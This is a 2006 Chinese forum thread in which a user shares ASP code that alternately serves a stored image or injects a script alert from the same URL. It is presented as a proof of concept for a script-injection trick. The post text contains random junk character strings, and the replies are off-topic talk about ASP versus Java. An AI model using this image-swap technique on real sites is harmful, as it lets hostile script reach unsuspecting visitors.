社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 6670阅读
  • 6回复

[学习笔记]ASP 2进制输出图片漏洞

级别: 经院高中
发帖
369
铜板
3800
人品值
215
贡献值
0
交易币
0
好评度
305
信誉值
0
金币
0
所在楼道
<div align=center><fieldset style=width=70%><legend align=center><strong>随 机 事 件</strong></legend><font color=deeppink>哈哈,运气来了挡也挡不住,天上掉下<font color=red><b> 21 </b></font>个金币砸在你头上!</font></fieldset></div><br><br> 要毕业了。为以后的共同爱好者提供思路。 ,J& 9kYz  
附:YY无扰。 E-F5y  
代码写的很乱。只是为了测试。 WUY,. 8  
RY<%'\A`~  
需要一个ACCESS数据库(db.mdb),2进制写入图片。 }hq^+fC?  
一个文本文件(num.txt),用于记录1/2的几率,一个为正常显示图片,一个为输出代码。 Y/D -V  
O8y9dX-2  
  1. <%
  2. file = Server.MapPath("NUM.txt")
  3. Set fileSysObj = createObject("Scripting.FileSystemObject")
  4. Set rf = filesysobj.OpenTextFile(file, 1)
  5. jackal = rf.ReadLine
  6. if jackal =10 then
  7. jackal=2
  8. end if
  9. rf.Close
  10. Set wf = filesysobj.OpenTextFile(file, 2)
  11. wf.write jackal+1
  12. wf.Close
  13. set fileSysObj=nothing
  14. %>
  15. <%
  16. If Jackal mod 2 =1 then
  17.     set conn=server.createobject("adodb.connection")
  18.   DBPath = Server.MapPath("db.mdb")
  19.   conn.Open "driver={Microsoft Access Driver (*.mdb)};dbq=" & DBPath
  20. sql="select * from filedata where id=0"
  21. set rs=Server.CreateObject("adodb.recordset")
  22. rs.open sql,conn,2,3
  23. Response.binarywrite rs("filecontent").getChunk(800000)
  24. rs.close
  25. set rs=nothing
  26. Response.Flush
  27. else
  28. Response.write "<script>alert('test!--jackal');</script>"
  29. Response.write "<FONT SIZE=3px COLOR=#CC0000><B>U can do something!---LoveXia</B></FONT>"
  30. end if
  31. %>
LD_M 3 P  
Email:houguo1985#gmail.com
[ 此贴被jackal在2006-12-30 02:38重新编辑 ]
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 经院大学
发帖
582
铜板
27
人品值
283
贡献值
11
交易币
0
好评度
566
信誉值
0
金币
0
所在楼道
只看该作者 1 发表于: 2006-01-17
本人是菜鸟 f:XfAH3R{  
想知道ASP与JAVA哪个实用点

格物 致知 诚意 正心 修身 齐家 治国 平天下
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 2 发表于: 2006-01-17
义务帮顶 Bj8<@~bX:L  
9t0Cj/w}  
这几天换服务器 ` yYvYc  
:cdQ(O.m  
我这里电信 上传文件快郁闷死我 和驴一样慢
级别: 经院高中
发帖
369
铜板
3800
人品值
215
贡献值
0
交易币
0
好评度
305
信誉值
0
金币
0
所在楼道
只看该作者 3 发表于: 2006-01-19
随 机 事 件您在发贴时兴奋过度,摔了,损失金钱18


我不会JAVA,但是觉得足够的强大。嘿。 2m_H*1 HJ  
71*>L}H  
学语言学的是一种思路与思想。 PF6 7z]<o  
>Zo-wYG  
推荐JAVA。 ee^4KKsh\  
jr:drzr{I  
ASP和VB相同。你会被MS强奸的。因为容易,所以觉得很舒服。
级别: 店掌柜
发帖
5692
铜板
103378
人品值
1520
贡献值
26
交易币
0
好评度
5373
信誉值
0
金币
0
所在楼道

只看该作者 4 发表于: 2006-01-19
随 机 事 件哈哈,运气来了挡也挡不住,天上掉下 24 个金币砸在你头上!


看vb ;M-,HK4=  
代码太麻烦 特别是看他们的汇编后的语言 ]| z")gOE  
61kO1,Uz*  
很多代码都是多余的 y}Cj#I+a  
0f{IE@-b  
很多人推荐用他们的集成开发软件 M&OsRrq  
Xj(>.E{~H  
我知道的就是用了他们的集成开发软件是可以得到很多方便 qhnapZJ  
.01TTK*  
可是产生了很多没有用的代码

简单生活
执著追求
别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

级别: 总督察
发帖
536
铜板
2493
人品值
302
贡献值
1
交易币
10
好评度
461
信誉值
0
金币
0
所在楼道

只看该作者 5 发表于: 2006-02-10
现在我好懒了,有技术问题直接找技术部帮忙
级别: 终身会员
发帖
24568
铜板
-48938
人品值
-504404
贡献值
12
交易币
0
好评度
26842
信誉值
0
金币
0
所在楼道
学一楼
只看该作者 6 发表于: 2006-03-18
以后学习语言,希望大家帮忙哦!!!!
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
10+5=?,请输入中文答案:十五